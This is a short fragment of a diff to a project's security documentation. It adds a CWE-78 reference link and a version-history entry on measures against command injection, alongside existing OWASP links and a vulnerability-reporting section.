sensitive files + ## Reporting Security Issues If you discover a security vulnerability, please report it responsibly: @@ -181,3 +221,8 @@ If you discover a security vulnerability, please report it responsibly: - [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection) - [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html) +- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html) + +## Version History + +- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks